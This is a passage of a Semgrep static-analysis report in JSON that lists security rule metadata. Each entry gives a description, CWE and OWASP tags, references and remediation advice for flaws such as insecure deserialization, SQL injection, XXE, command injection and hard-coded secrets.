create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `marshal` module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source. For deserializing data from untrusted sources we recommend using YAML or JSON libraries with built-in protections, such as json, PyYAML, or ruamel.yaml."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","id":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","name":"python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-marshal-flask.tainted-marshal-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"help":{"markdown":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"By default, AWS DynamoDB Table is encrypted using AWS-managed keys. However, for added security, it's recommended to configure your own AWS KMS encryption key to protect your data in the DynamoDB table. You can either create a new aws_kms_key resource or use the ARN of an existing key in your AWS account to do so."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","id":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","name":"terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-dynamodb-table-unencrypted.aws-dynamodb-table-unencrypted"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `goto` method it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","id":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","name":"javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.playwright.security.audit.playwright-goto-injection.playwright-goto-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. Validate the user input, perform contextual output encoding, or sanitize the input. If you have to use dangerouslySetInnerHTML, consider using a sanitization library such as DOMPurify to sanitize the HTML within."},"helpUri":"https://semgrep.dev/r/typescript.react.react-refs-url.react-refs-url","id":"typescript.react.react-refs-url.react-refs-url","name":"typescript.react.react-refs-url.react-refs-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-refs-url.react-refs-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"help":{"markdown":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size)\n - [https://www.pycryptodome.org/src/public_key/dsa](https://www.pycryptodome.org/src/public_key/dsa)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-57pt1r5.pdf)\n","text":"Detected an insufficient key size for DSA. NIST recommends a key size of 2048 or higher."},"helpUri":"https://semgrep.dev/r/python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","id":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","name":"python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.pycryptodome.security.insufficient-dsa-key-size.insufficient-dsa-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"help":{"markdown":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug)\n - [https://www.php.net/manual/en/function.setcookie.php](https://www.php.net/manual/en/function.setcookie.php)\n - [https://www.php.net/manual/en/function.session-set-cookie-params.php](https://www.php.net/manual/en/function.session-set-cookie-params.php)\n - [https://www.php.net/manual/en/configuration.file.php](https://www.php.net/manual/en/configuration.file.php)\n","text":"Debug logging is explicitly enabled. This can potentially disclose sensitive information and should never be active on production systems."},"helpUri":"https://semgrep.dev/r/php.lang.security.search-active-debug.search-active-debug","id":"php.lang.security.search-active-debug.search-active-debug","name":"php.lang.security.search-active-debug.search-active-debug","properties":{"precision":"very-high","tags":["CWE-489: Active Debug Code","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","OWASP-A06:2017 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.search-active-debug.search-active-debug"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint)\n - [https://docs.rs/diesel/latest/diesel/](https://docs.rs/diesel/latest/diesel/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.rocket.sql.diesel-taint.diesel-taint","id":"rust.rocket.sql.diesel-taint.diesel-taint","name":"rust.rocket.sql.diesel-taint.diesel-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.rocket.sql.diesel-taint.diesel-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"help":{"markdown":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected potential code injection using ScriptEngine. Ensure user-controlled data cannot enter '.eval()', otherwise, this is a code injection vulnerability."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.script-engine-injection.script-engine-injection","id":"java.lang.security.audit.script-engine-injection.script-engine-injection","name":"java.lang.security.audit.script-engine-injection.script-engine-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.script-engine-injection.script-engine-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"help":{"markdown":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Possible writing outside of the destination, make sure that the target path is nested in the intended destination"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","id":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","name":"javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-path-join-resolve-traversal.express-path-join-resolve-traversal"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","id":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","name":"php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-parser-flags.xml-external-entities-unsafe-parser-flags"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"help":{"markdown":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string)\n - [https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory](https://wiki.sei.cmu.edu/confluence/display/cplusplus/MEM50-CPP.+Do+not+access+freed+memory)\n","text":"This `std::string_view` is constructed from a temporary `std::string`. The `std::string` value is immeadiately destroyed after assignment and accessing data through the `std::string_view` will trigger a use-after-free."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","id":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","name":"cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string","properties":{"precision":"very-high","tags":["CWE-416: Use After Free","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-temporary-string.string-view-temporary-string"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"help":{"markdown":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop)\n - [https://go101.org/article/concurrent-common-mistakes.html](https://go101.org/article/concurrent-common-mistakes.html)\n","text":"Calling `$WG.Wait()` inside a loop blocks the call to `$WG.Done()`"},"helpUri":"https://semgrep.dev/r/trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","id":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","name":"trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop","properties":{"precision":"very-high","tags":["CWE-667: Improper Locking","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.go.waitgroup-wait-inside-loop.waitgroup-wait-inside-loop"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"help":{"markdown":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage)\n - [https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements](https://mobile-security.gitbook.io/masvs/security-requirements/0x08-v3-cryptography_verification_requirements)\n","text":"Key generation routines were identified where the resultant keys are not stored protected by the Secure Enclave. On iOS/macOS systems, cryptographic keys can be generated within the Secure Enclave - making them inaccessible to the rest of the system. The keys can be used for operations (signing, decryption, etc) but the private keys cannot be dumped or copied - even on rooted/jailbroken systems."},"helpUri":"https://semgrep.dev/r/swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","id":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","name":"swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage","properties":{"precision":"very-high","tags":["CWE-922: Insecure Storage of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: swift.commoncrypto.insecure-crypto-keystorage.insecure-crypto-keystorage"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","id":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","name":"python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-pickle-flask.tainted-pickle-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"help":{"markdown":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request)\n - [https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/](https://ruby-doc.org/stdlib-2.6.5/libdoc/net/http/rdoc/Net/)\n","text":"Checks for requests sent to http:// URLs. This is dangerous as the server is attempting to connect to a website that does not encrypt traffic with TLS. Instead, only send requests to https:// URLs."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","id":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","name":"problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.ruby-stdlib.net-http-request.net-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","id":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","name":"go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.oauth2.oauth2-hardcoded-secret.oauth2-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The ECR Repository isn't configured to scan images on push"},"help":{"markdown":"The ECR Repository isn't configured to scan images on push\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push)\n - [https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components)\n","text":"The ECR Repository isn't configured to scan images on push"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","id":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","name":"terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push","properties":{"precision":"very-high","tags":["CWE-1104: Use of Unmaintained Third Party Components","LOW CONFIDENCE","OWASP-A06:2021 - Vulnerable and Outdated Components","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.ecr-image-scan-on-push.ecr-image-scan-on-push"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","id":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","name":"kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.okhttp.secrets.hardcoded-secret-in-request-header-encoded.hardcoded-secret-in-request-header-encoded"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","id":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","name":"python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.os.tainted-os-command-paramiko-django.tainted-os-command-paramiko-django"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. 